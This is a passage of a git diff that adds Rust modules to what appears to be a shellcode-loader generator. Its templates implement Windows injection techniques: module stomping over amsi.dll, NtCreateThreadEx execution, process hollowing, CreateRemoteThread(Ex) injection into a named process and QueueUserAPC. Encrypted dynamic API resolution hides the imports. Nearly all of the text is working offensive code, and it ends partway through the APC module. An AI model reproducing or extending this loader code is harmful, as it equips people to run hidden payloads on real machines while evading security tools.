+ shellcode.as_ptr() as *const std::ffi::c_void,
+ usable_size,
+ );
+
+ let mut restored_protect: u32 = 0;
+ NtProtectVirtualMemory(
+ GetCurrentProcess(),
+ &mut region_base,
+ &mut region_size,
+ PAGE_EXECUTE_READ,
+ &mut restored_protect,
+ );
+
+ let shellcode_fn: extern "C" fn() = std::mem::transmute(code_section_start);
+ shellcode_fn();
+ }
+"#
+ .to_string()
+}
+
+fn generate_module_stomping_template(function_name: &str, process: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(module_stomping_import())
+ .with_const(module_stomping_const())
+ .with_init(module_stomping_init())
+ .with_process(module_stomping_process(process))
+ .build(function_name)
+}
+
+pub fn generate_module_stomping_code(function_name: &str, process: &str) -> String {
+ generate_module_stomping_template(function_name, process)
+}
+
+pub struct ModuleStompingGenerator;
+
+impl super::trait_generator::TechniqueGenerator for ModuleStompingGenerator {
+ fn generate_code(&self, process: &str, function_name: &str) -> String {
+ generate_module_stomping_code(function_name, process)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ process: &str,
+ function_name: &str,
+ _encryption_type: &str,
+ _encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ self.generate_code(process, function_name)
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "ModuleStomping"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::internals::templates::techniques::trait_generator::TechniqueGenerator;
+
+ #[test]
+ fn test_generate_module_stomping_template_contains_all_parts() {
+ let template = generate_module_stomping_template("MyFunction", "cmd.exe");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("LoadLibraryA"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("NtProtectVirtualMemory"));
+ assert!(template.contains("amsi.dll"));
+ }
+
+ #[test]
+ fn test_generate_module_stomping_code() {
+ let code = generate_module_stomping_code("MyRandomFunc", "notepad.exe");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("LoadLibraryA"));
+ assert!(code.contains("RtlCopyMemory"));
+ }
+
+ #[test]
+ fn test_module_stomping_generator_name() {
+ let gen = ModuleStompingGenerator;
+ assert_eq!(gen.name(), "ModuleStomping");
+ }
+
+ #[test]
+ fn test_module_stomping_requires_process() {
+ let gen = ModuleStompingGenerator;
+ assert!(!gen.requires_process());
+ }
+}
diff --git a/src/internals/templates/techniques/nt_create_thread_ex.rs b/src/internals/templates/techniques/nt_create_thread_ex.rs
@@ -0,0 +1,328 @@
+pub fn nt_create_thread_ex_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn nt_create_thread_ex_const() -> String {
+ format!(
+ r#"
+{}
+
+const INFINITE: u32 = 0xFFFFFFFF;
+const CURRENT_PROCESS_HANDLE: usize = 0xffffffffffffffff;
+const THREAD_ALL_ACCESS: u32 = 0x1FFFFF;
+
+{}
+
+#[link(name = "ntdll")]
+extern "system" {{
+{}
+}}
+
+#[link(name = "kernel32")]
+extern "system" {{
+{}
+}}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS,
+ super::common::process_basic_information_struct(),
+ super::common::common_ntdll_externs(),
+ super::common::common_thread_management_externs(),
+ )
+}
+
+pub fn nt_create_thread_ex_init() -> String {
+ String::new()
+}
+
+pub fn nt_create_thread_ex_process() -> String {
+ r#"
+ unsafe {
+ let mut addr: usize = 0;
+ let mut region_size: usize = shellcode.len();
+
+ let rvalue = NtAllocateVirtualMemory(
+ CURRENT_PROCESS_HANDLE,
+ &mut addr,
+ 0,
+ &mut region_size,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if rvalue != 0 {
+ panic!("failed");
+ }
+
+ let rvalue = NtWriteVirtualMemory(
+ CURRENT_PROCESS_HANDLE,
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ 0,
+ );
+
+ if rvalue != 0 {
+ panic!("failed");
+ }
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let rvalue = NtProtectVirtualMemory(
+ CURRENT_PROCESS_HANDLE,
+ &mut addr,
+ &mut region_size,
+ PAGE_EXECUTE_READ,
+ &mut old_protect,
+ );
+
+ if rvalue != 0 {
+ panic!("failed");
+ }
+
+ let mut thread_handle: usize = 0;
+ let rvalue = NtCreateThreadEx(
+ &mut thread_handle,
+ THREAD_ALL_ACCESS,
+ 0,
+ CURRENT_PROCESS_HANDLE,
+ addr,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ );
+
+ if rvalue != 0 {
+ panic!("failed");
+ }
+
+ WaitForSingleObject(thread_handle, INFINITE);
+ }
+"#
+ .to_string()
+}
+
+fn generate_nt_create_thread_ex_template(function_name: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(nt_create_thread_ex_import())
+ .with_const(nt_create_thread_ex_const())
+ .with_init(nt_create_thread_ex_init())
+ .with_process(nt_create_thread_ex_process())
+ .build(function_name)
+}
+
+pub fn generate_nt_create_thread_ex_code(function_name: &str) -> String {
+ generate_nt_create_thread_ex_template(function_name)
+}
+
+fn nt_create_thread_ex_process_with_dynamic_resolver(
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let nt_allocate = nt_allocate_virtual_memory_resolver(encryptor)?;
+ let nt_write = nt_write_virtual_memory_resolver(encryptor)?;
+ let nt_protect = nt_protect_virtual_memory_resolver(encryptor)?;
+ let nt_create_thread = nt_create_thread_ex_resolver(encryptor)?;
+ let wait_for_single = wait_for_single_object_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+ unsafe {{
+ let process_handle = 0xFFFFFFFFFFFFFFFFu64 as *mut std::ffi::c_void;
+ let mut base_address: *mut std::ffi::c_void = ptr::null_mut();
+ let mut region_size: usize = shellcode.len();
+
+ {nt_allocate_resolver}
+ {nt_allocate_cast}
+
+ let rvalue = nt_allocate_virtual_memory(
+ process_handle,
+ &mut base_address,
+ 0,
+ &mut region_size,
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if rvalue != 0 {{
+ panic!("failed");
+ }}
+
+ {nt_write_resolver}
+ {nt_write_cast}
+
+ let mut bytes_written: usize = 0;
+ let rvalue = nt_write_virtual_memory(
+ process_handle,
+ base_address,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ &mut bytes_written,
+ );
+
+ if rvalue != 0 {{
+ panic!("failed");
+ }}
+
+ {nt_protect_resolver}
+ {nt_protect_cast}
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let rvalue = nt_protect_virtual_memory(
+ process_handle,
+ &mut base_address,
+ &mut region_size,
+ PAGE_EXECUTE_READ,
+ &mut old_protect,
+ );
+
+ if rvalue != 0 {{
+ panic!("failed");
+ }}
+
+ {nt_create_thread_resolver}
+ {nt_create_thread_cast}
+
+ let mut thread_handle: *mut std::ffi::c_void = ptr::null_mut();
+ let rvalue = nt_create_thread_ex(
+ &mut thread_handle,
+ 0x1FFFFF,
+ ptr::null(),
+ process_handle,
+ base_address,
+ ptr::null(),
+ 0,
+ 0,
+ 0,
+ 0,
+ ptr::null(),
+ );
+
+ if rvalue != 0 {{
+ panic!("failed");
+ }}
+
+ {wait_for_single_resolver}
+ {wait_for_single_cast}
+
+ wait_for_single_object(thread_handle, INFINITE);
+ }}
+"#,
+ nt_allocate_resolver = nt_allocate.resolver_code,
+ nt_allocate_cast = nt_allocate.cast_code,
+ nt_write_resolver = nt_write.resolver_code,
+ nt_write_cast = nt_write.cast_code,
+ nt_protect_resolver = nt_protect.resolver_code,
+ nt_protect_cast = nt_protect.cast_code,
+ nt_create_thread_resolver = nt_create_thread.resolver_code,
+ nt_create_thread_cast = nt_create_thread.cast_code,
+ wait_for_single_resolver = wait_for_single.resolver_code,
+ wait_for_single_cast = wait_for_single.cast_code,
+ ))
+}
+
+fn generate_nt_create_thread_ex_template_with_dynamic_resolver(
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> Result<String, String> {
+ let process_code = nt_create_thread_ex_process_with_dynamic_resolver(encryptor)?;
+
+ Ok(super::common::TechniqueTemplateBuilder::new()
+ .with_import(nt_create_thread_ex_import())
+ .with_const(nt_create_thread_ex_const())
+ .with_init(nt_create_thread_ex_init())
+ .with_process(process_code)
+ .build(function_name))
+}
+
+pub fn generate_nt_create_thread_ex_code_with_dynamic_resolver(
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ generate_nt_create_thread_ex_template_with_dynamic_resolver(
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ .unwrap_or_else(|err| {
+ panic!(
+ "Failed to generate NtCreateThreadEx code with dynamic resolver (encryption: {}): {}",
+ encryption_type, err
+ )
+ })
+}
+
+pub struct NtCreateThreadExGenerator;
+
+impl super::trait_generator::TechniqueGenerator for NtCreateThreadExGenerator {
+ fn generate_code(&self, _process: &str, function_name: &str) -> String {
+ generate_nt_create_thread_ex_code(function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ _process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_nt_create_thread_ex_code_with_dynamic_resolver(
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ }
+
+ fn requires_process(&self) -> bool {
+ false
+ }
+
+ fn name(&self) -> &'static str {
+ "NtCreateThreadEx"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_nt_create_thread_ex_template_contains_all_parts() {
+ let template = generate_nt_create_thread_ex_template("MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("MEM_COMMIT"));
+ assert!(template.contains("NtCreateThreadEx"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("NtAllocateVirtualMemory"));
+ }
+
+ #[test]
+ fn test_generate_nt_create_thread_ex_code() {
+ let code = generate_nt_create_thread_ex_code("MyRandomFunc");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("NtCreateThreadEx"));
+ assert!(code.contains("WaitForSingleObject"));
+ }
+
+ #[test]
+ fn test_nt_create_thread_ex_includes_process_basic_information() {
+ let const_code = nt_create_thread_ex_const();
+ // Verify ProcessBasicInformation struct is included (needed by ZwQueryInformationProcess)
+ assert!(
+ const_code.contains("struct ProcessBasicInformation"),
+ "ProcessBasicInformation struct should be included for ZwQueryInformationProcess"
+ );
+ // Verify ZwQueryInformationProcess is included from common_ntdll_externs
+ assert!(
+ const_code.contains("ZwQueryInformationProcess"),
+ "ZwQueryInformationProcess should be included from common_ntdll_externs"
+ );
+ }
+}
diff --git a/src/internals/templates/techniques/process_hollowing.rs b/src/internals/templates/techniques/process_hollowing.rs
@@ -0,0 +1,384 @@
+use super::super::{process_helpers, windows_types};
+use super::common;
+
+pub fn process_hollowing_import() -> String {
+ process_helpers::process_creation_imports().to_string()
+}
+
+pub fn process_hollowing_const() -> String {
+ format!(
+ r#"
+{}
+
+{}
+
+{}
+
+#[link(name = "kernel32")]
+extern "system" {{
+{}
+
+{}
+}}
+
+#[link(name = "ntdll")]
+extern "system" {{
+{}
+}}
+"#,
+ common::COMMON_PROCESS_CONSTANTS,
+ windows_types::process_structures(),
+ common::process_basic_information_struct(),
+ common::common_process_injection_externs(),
+ common::common_process_hollowing_externs(),
+ common::common_ntdll_externs(),
+ )
+}
+
+pub fn process_hollowing_init() -> String {
+ format!(
+ r#"
+fn create_process(process_name: &str) -> ProcessInformation {{
+ {}
+
+ {}
+
+ {}
+
+ unsafe {{
+ let result = CreateProcessW(
+ ptr::null(),
+ command_line.as_mut_ptr(),
+ ptr::null(),
+ ptr::null(),
+ 0,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ ptr::null(),
+ ptr::null(),
+ &si,
+ &mut pi,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+ }}
+
+ pi
+}}
+"#,
+ windows_types::init_startup_info_w(),
+ windows_types::init_process_information(),
+ process_helpers::command_line_conversion("process_name")
+ )
+}
+
+pub fn process_hollowing_process() -> String {
+ r#"
+ let process = create_process("__PROCESS__");
+ let p_handle = process.process;
+ let t_handle = process.thread;
+
+ unsafe {
+ let mut basic_info = ProcessBasicInformation {
+ reserved1: 0,
+ peb_address: 0,
+ reserved2: 0,
+ reserved3: 0,
+ unique_pid: 0,
+ more_reserved: 0,
+ };
+ let mut unused_tmp_value: u32 = 0;
+
+ // Get Process Environment Block (PEB)
+ let r = ZwQueryInformationProcess(
+ p_handle,
+ 0,
+ &mut basic_info,
+ (std::mem::size_of::<usize>() * 6) as u32,
+ &mut unused_tmp_value,
+ );
+
+ if r != 0 {
+ panic!("failed");
+ }
+
+ // Query PEB for ImageBaseAddress
+ let image_base_address = basic_info.peb_address + 0x10;
+
+ // Get entry point of the actual process executable
+ // This one is a bit complicated, because this address differs for each process (due to ASLR)
+ // From the PEB (address we got in last call), we have to do the following:
+ // 1. Read executable address from first 8 bytes of PEB and read data chunk for further processing
+ // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C from executable address to get the offset for the PE header
+ // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint RVA offset
+ // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address
+ // 5. Get the absolute address of the entrypoint by adding this value to the base executable address
+
+ // 1. Read executable address from first 8 bytes of PEB
+ let mut proc_addr = [0u8; 8];
+ let mut read: usize = 0;
+
+ let r = ReadProcessMemory(
+ p_handle,
+ image_base_address,
+ proc_addr.as_mut_ptr(),
+ proc_addr.len(),
+ &mut read,
+ );
+
+ if r == 0 {
+ panic!("failed");
+ }
+
+ let exe_base_addr = u64::from_le_bytes(proc_addr);
+
+ // Read PE header
+ let mut pe_buffer = [0u8; 0x200];
+ let r = ReadProcessMemory(
+ p_handle,
+ exe_base_addr as usize,
+ pe_buffer.as_mut_ptr(),
+ pe_buffer.len(),
+ &mut read,
+ );
+
+ if r == 0 {
+ panic!("failed");
+ }
+
+ // 2. Read the field 'e_lfanew', 4 bytes at offset 0x3C to get the offset for the PE header
+ let lfanew = u32::from_le_bytes([
+ pe_buffer[0x3c],
+ pe_buffer[0x3c + 1],
+ pe_buffer[0x3c + 2],
+ pe_buffer[0x3c + 3],
+ ]);
+
+ // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint RVA offset
+ let rva_offset = (lfanew + 0x28) as usize;
+
+ // 4. Read the 4 bytes at the RVA offset to get the offset of the executable entrypoint
+ let rva = u32::from_le_bytes([
+ pe_buffer[rva_offset],
+ pe_buffer[rva_offset + 1],
+ pe_buffer[rva_offset + 2],
+ pe_buffer[rva_offset + 3],
+ ]);
+
+ // 5. Get the absolute address of the entrypoint
+ let entrypoint_address = exe_base_addr + rva as u64;
+
+ // Overwrite process memory at entrypoint address
+ let r = WriteProcessMemory(
+ p_handle,
+ entrypoint_address as usize as *const std::ffi::c_void,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ ptr::null_mut(),
+ );
+
+ if r == 0 {
+ panic!("failed");
+ }
+
+ // Trigger shellcode execution
+ let r = ResumeThread(t_handle);
+ if r == 0xFFFFFFFF {
+ panic!("failed");
+ }
+ }
+"#
+ .to_string()
+}
+
+fn generate_process_hollowing_template(target_process: &str, function_name: &str) -> String {
+ let template = super::common::TechniqueTemplateBuilder::new()
+ .with_import(process_hollowing_import())
+ .with_const(process_hollowing_const())
+ .with_init(process_hollowing_init())
+ .with_process(process_hollowing_process())
+ .build(function_name);
+
+ template.replace("__PROCESS__", target_process)
+}
+
+pub fn generate_process_hollowing_code(target_process: &str, function_name: &str) -> String {
+ generate_process_hollowing_template(target_process, function_name)
+}
+
+pub struct ProcessHollowingGenerator;
+
+impl super::trait_generator::TechniqueGenerator for ProcessHollowingGenerator {
+ fn generate_code(&self, process: &str, function_name: &str) -> String {
+ generate_process_hollowing_code(process, function_name)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ process: &str,
+ function_name: &str,
+ encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ generate_process_hollowing_code_with_dynamic_resolver(
+ process,
+ function_name,
+ encryption_type,
+ encryptor,
+ )
+ }
+
+ fn requires_process(&self) -> bool {
+ true
+ }
+
+ fn name(&self) -> &'static str {
+ "ProcessHollowing"
+ }
+}
+
+fn generate_process_hollowing_code_with_dynamic_resolver(
+ target_process: &str,
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+) -> String {
+ use super::dynamic_common::*;
+
+ let create_process_w = create_process_w_resolver(encryptor).unwrap();
+ let read_process_memory = read_process_memory_resolver(encryptor).unwrap();
+ let write_process_memory = write_process_memory_resolver(encryptor).unwrap();
+ let zw_query = zw_query_information_process_resolver(encryptor).unwrap();
+ let resume_thread = resume_thread_resolver(encryptor).unwrap();
+
+ let init_with_resolvers = format!(
+ r#"
+{}
+{}
+{}
+{}
+{}"#,
+ create_process_w.resolver_code,
+ read_process_memory.resolver_code,
+ write_process_memory.resolver_code,
+ zw_query.resolver_code,
+ resume_thread.resolver_code,
+ );
+
+ let casts = format!(
+ r#"
+{}
+{}
+{}
+{}
+{}"#,
+ create_process_w.cast_code,
+ read_process_memory.cast_code,
+ write_process_memory.cast_code,
+ zw_query.cast_code,
+ resume_thread.cast_code,
+ );
+
+ let process_code = process_hollowing_process()
+ .replace("CreateProcessW(", "create_process_w(")
+ .replace("ReadProcessMemory(", "read_process_memory(")
+ .replace("WriteProcessMemory(", "write_process_memory(")
+ .replace(
+ "ZwQueryInformationProcess(",
+ "zw_query_information_process(",
+ )
+ .replace("ResumeThread(", "resume_thread(")
+ // Add casts for ZwQueryInformationProcess arguments
+ .replace(
+ "&mut basic_info,",
+ "&mut basic_info as *mut _ as *mut std::ffi::c_void,",
+ )
+ // Add casts for ReadProcessMemory arguments
+ .replace(
+ "image_base_address,",
+ "image_base_address as *const std::ffi::c_void,",
+ )
+ .replace(
+ "exe_base_addr as usize,",
+ "exe_base_addr as *const std::ffi::c_void,",
+ )
+ .replace(
+ "proc_addr.as_mut_ptr(),",
+ "proc_addr.as_mut_ptr() as *mut std::ffi::c_void,",
+ )
+ .replace(
+ "pe_buffer.as_mut_ptr(),",
+ "pe_buffer.as_mut_ptr() as *mut std::ffi::c_void,",
+ )
+ // Add casts for WriteProcessMemory arguments
+ .replace(
+ "entrypoint_address as usize,",
+ "entrypoint_address as *mut std::ffi::c_void,",
+ )
+ .replace(
+ "shellcode.as_ptr(),",
+ "shellcode.as_ptr() as *const std::ffi::c_void,",
+ )
+ .replace(
+ " 0,\n );",
+ " ptr::null_mut(),\n );",
+ )
+ // Fix mut warning
+ .replace("let mut si = StartupInfoW {", "let si = StartupInfoW {");
+
+ let full_process = format!(
+ r#"
+ unsafe {{
+ {}
+ {}
+ {}
+ }}
+"#,
+ init_with_resolvers,
+ casts,
+ process_code
+ .trim_start_matches(" unsafe {")
+ .trim_end_matches("}")
+ .trim()
+ );
+
+ let template = super::common::TechniqueTemplateBuilder::new()
+ .with_import(process_hollowing_import())
+ .with_const(process_hollowing_const())
+ .with_init(process_hollowing_init())
+ .with_process(full_process)
+ .build(function_name);
+
+ template.replace("__PROCESS__", target_process)
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_process_hollowing_template_replaces_process_placeholder() {
+ let template = generate_process_hollowing_template("notepad.exe", "TestFunc");
+ assert!(template.contains("notepad.exe"));
+ assert!(!template.contains("__PROCESS__"));
+ }
+
+ #[test]
+ fn test_generate_process_hollowing_template_contains_all_parts() {
+ let template = generate_process_hollowing_template("calc.exe", "MyFunction");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("CREATE_SUSPENDED"));
+ assert!(template.contains("fn create_process"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("ZwQueryInformationProcess"));
+ }
+
+ #[test]
+ fn test_generate_process_hollowing_code() {
+ let code = generate_process_hollowing_code("cmd.exe", "MyRandomFunc");
+ assert!(code.contains("cmd.exe"));
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(!code.contains("__PROCESS__"));
+ }
+}
diff --git a/src/internals/templates/techniques/process_injection_common.rs b/src/internals/templates/techniques/process_injection_common.rs
@@ -0,0 +1,352 @@
+use super::super::process_helpers;
+use super::common;
+
+pub struct RemoteThreadConfig {
+ function_name: &'static str,
+ has_attribute_list: bool,
+}
+
+impl RemoteThreadConfig {
+ pub const fn create_remote_thread() -> Self {
+ Self {
+ function_name: "CreateRemoteThread",
+ has_attribute_list: false,
+ }
+ }
+
+ pub const fn create_remote_thread_ex() -> Self {
+ Self {
+ function_name: "CreateRemoteThreadEx",
+ has_attribute_list: true,
+ }
+ }
+
+ pub fn generate_import(&self) -> String {
+ format!("\n{}\n", common::common_process_injection_imports())
+ }
+
+ pub fn generate_const(&self) -> String {
+ let params = if self.has_attribute_list {
+ r#" fn CreateRemoteThreadEx(
+ process: *mut std::ffi::c_void,
+ thread_attributes: *const std::ffi::c_void,
+ stack_size: usize,
+ start_address: *const std::ffi::c_void,
+ parameter: *const std::ffi::c_void,
+ creation_flags: u32,
+ attribute_list: *const std::ffi::c_void,
+ thread_id: *mut u32,
+ ) -> *mut std::ffi::c_void;"#
+ } else {
+ r#" fn CreateRemoteThread(
+ process: *mut std::ffi::c_void,
+ thread_attributes: *const std::ffi::c_void,
+ stack_size: usize,
+ start_address: *const std::ffi::c_void,
+ parameter: *const std::ffi::c_void,
+ creation_flags: u32,
+ thread_id: *mut u32,
+ ) -> *mut std::ffi::c_void;"#
+ };
+
+ format!(
+ r#"
+{}
+{}
+
+#[link(name = "kernel32")]
+extern "system" {{
+{}
+
+{}
+}}
+
+{}
+"#,
+ common::COMMON_MEMORY_CONSTANTS,
+ common::COMMON_PROCESS_CONSTANTS,
+ common::common_process_injection_externs(),
+ params,
+ common::common_process_structures()
+ )
+ }
+
+ pub fn generate_init(&self) -> String {
+ process_helpers::generate_load_process_function()
+ }
+
+ pub fn generate_process(&self) -> String {
+ let thread_call = if self.has_attribute_list {
+ format!(
+ r#"let thread = {}(
+ process.process,
+ ptr::null(),
+ 0,
+ base_addr,
+ ptr::null(),
+ 0,
+ ptr::null(),
+ ptr::null_mut(),
+ );"#,
+ self.function_name
+ )
+ } else {
+ format!(
+ r#"let thread = {}(
+ process.process,
+ ptr::null(),
+ 0,
+ base_addr,
+ ptr::null(),
+ 0,
+ ptr::null_mut(),
+ );"#,
+ self.function_name
+ )
+ };
+
+ format!(
+ r#"
+ let process = load_process("__PROCESS__");
+ let mut old_protect: u32 = PAGE_READWRITE;
+
+ unsafe {{
+ let base_addr = VirtualAllocEx(
+ process.process,
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if base_addr.is_null() {{
+ panic!("failed");
+ }}
+
+ let result = WriteProcessMemory(
+ process.process,
+ base_addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ ptr::null_mut(),
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ let result = VirtualProtectEx(
+ process.process,
+ base_addr,
+ shellcode.len(),
+ PAGE_EXECUTE_READ,
+ &mut old_protect,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ {}
+
+ if thread.is_null() {{
+ panic!("failed");
+ }}
+ }}
+"#,
+ thread_call
+ )
+ }
+
+ pub fn generate_template(&self, target_process: &str, function_name: &str) -> String {
+ let template = super::common::TechniqueTemplateBuilder::new()
+ .with_import(self.generate_import())
+ .with_const(self.generate_const())
+ .with_init(self.generate_init())
+ .with_process(self.generate_process())
+ .build(function_name);
+
+ template.replace("__PROCESS__", target_process)
+ }
+
+ pub fn generate_init_with_dynamic_resolver(
+ &self,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> Result<String, String> {
+ use super::super::{process_helpers, windows_types};
+ use super::dynamic_common::*;
+
+ let create_process_w = create_process_w_resolver(encryptor)?;
+
+ Ok(format!(
+ r#"
+fn load_process(target: &str) -> ProcessInformation {{
+ {}
+
+ {}
+
+ {}
+
+ unsafe {{
+ {create_process_w_resolver}
+ {create_process_w_cast}
+
+ let result = create_process_w(
+ ptr::null(),
+ command_line.as_mut_ptr(),
+ ptr::null(),
+ ptr::null(),
+ 0,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ ptr::null(),
+ ptr::null(),
+ &si,
+ &mut pi,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+ }}
+
+ pi
+}}
+"#,
+ windows_types::init_startup_info_w(),
+ windows_types::init_process_information(),
+ process_helpers::command_line_conversion("target"),
+ create_process_w_resolver = create_process_w.resolver_code,
+ create_process_w_cast = create_process_w.cast_code,
+ ))
+ }
+
+ pub fn generate_process_with_dynamic_resolver(
+ &self,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> Result<String, String> {
+ use super::dynamic_common::*;
+
+ let virtual_alloc_ex = virtual_alloc_ex_resolver(encryptor)?;
+ let write_process_memory = write_process_memory_resolver(encryptor)?;
+ let virtual_protect_ex = virtual_protect_ex_resolver(encryptor)?;
+
+ let (thread_resolver, _thread_resolver_name, thread_call) = if self.has_attribute_list {
+ let resolver = create_remote_thread_ex_resolver(encryptor)?;
+ let call = r#"let thread = create_remote_thread_ex(
+ process.process,
+ ptr::null(),
+ 0,
+ base_addr,
+ ptr::null(),
+ 0,
+ ptr::null(),
+ ptr::null_mut(),
+ );"#;
+ (resolver, "create_remote_thread_ex", call)
+ } else {
+ let resolver = create_remote_thread_resolver(encryptor)?;
+ let call = r#"let thread = create_remote_thread(
+ process.process,
+ ptr::null(),
+ 0,
+ base_addr,
+ ptr::null(),
+ 0,
+ ptr::null_mut(),
+ );"#;
+ (resolver, "create_remote_thread", call)
+ };
+
+ Ok(format!(
+ r#"
+ let process = load_process("__PROCESS__");
+ let mut old_protect: u32 = PAGE_READWRITE;
+
+ unsafe {{
+ {virtual_alloc_ex_resolver}
+ {virtual_alloc_ex_cast}
+
+ let base_addr = virtual_alloc_ex(
+ process.process,
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ );
+
+ if base_addr.is_null() {{
+ panic!("failed");
+ }}
+
+ {write_process_memory_resolver}
+ {write_process_memory_cast}
+
+ let result = write_process_memory(
+ process.process,
+ base_addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ ptr::null_mut(),
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ {virtual_protect_ex_resolver}
+ {virtual_protect_ex_cast}
+
+ let result = virtual_protect_ex(
+ process.process,
+ base_addr,
+ shellcode.len(),
+ PAGE_EXECUTE_READ,
+ &mut old_protect,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ {thread_resolver}
+ {thread_cast}
+
+ {thread_call}
+
+ if thread.is_null() {{
+ panic!("failed");
+ }}
+ }}
+"#,
+ virtual_alloc_ex_resolver = virtual_alloc_ex.resolver_code,
+ virtual_alloc_ex_cast = virtual_alloc_ex.cast_code,
+ write_process_memory_resolver = write_process_memory.resolver_code,
+ write_process_memory_cast = write_process_memory.cast_code,
+ virtual_protect_ex_resolver = virtual_protect_ex.resolver_code,
+ virtual_protect_ex_cast = virtual_protect_ex.cast_code,
+ thread_resolver = thread_resolver.resolver_code,
+ thread_cast = thread_resolver.cast_code,
+ thread_call = thread_call,
+ ))
+ }
+
+ pub fn generate_template_with_dynamic_resolver(
+ &self,
+ target_process: &str,
+ function_name: &str,
+ _encryption_type: &str,
+ encryptor: &dyn crate::encryption::Encryptor,
+ ) -> Result<String, String> {
+ let init_code = self.generate_init_with_dynamic_resolver(encryptor)?;
+ let process_code = self.generate_process_with_dynamic_resolver(encryptor)?;
+
+ let template = super::common::TechniqueTemplateBuilder::new()
+ .with_import(self.generate_import())
+ .with_const(self.generate_const())
+ .with_init(init_code)
+ .with_process(process_code)
+ .build(function_name);
+
+ Ok(template.replace("__PROCESS__", target_process))
+ }
+}
diff --git a/src/internals/templates/techniques/queue_user_apc.rs b/src/internals/templates/techniques/queue_user_apc.rs
@@ -0,0 +1,310 @@
+pub fn queue_user_apc_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn queue_user_apc_const() -> String {
+ format!(
+ r#"
+{}
+
+#[repr(C)]
+struct SECURITY_ATTRIBUTES {{
+ length: u32,
+ security_descriptor: *mut std::ffi::c_void,
+ inherit_handle: i32,
+}}
+
+#[link(name = "kernel32")]
+extern "system" {{
+ fn CreateThread(
+ security_attributes: *const SECURITY_ATTRIBUTES,
+ stack_size: usize,
+ start_address: *const std::ffi::c_void,
+ parameter: *const std::ffi::c_void,
+ creation_flags: u32,
+ thread_id: *mut u32,
+ ) -> *mut std::ffi::c_void;
+
+ fn QueueUserAPC(
+ apc_routine: *const std::ffi::c_void,
+ thread: *mut std::ffi::c_void,
+ data: usize,
+ ) -> u32;
+
+ fn SleepEx(
+ milliseconds: u32,
+ alertable: i32,
+ ) -> u32;
+
+ fn WaitForSingleObject(
+ handle: *mut std::ffi::c_void,
+ milliseconds: u32,
+ ) -> u32;
+}}
+
+#[link(name = "ntdll")]
+extern "system" {{
+ fn RtlCopyMemory(
+ destination: *mut std::ffi::c_void,
+ source: *const std::ffi::c_void,
+ length: usize,
+ );
+}}
+
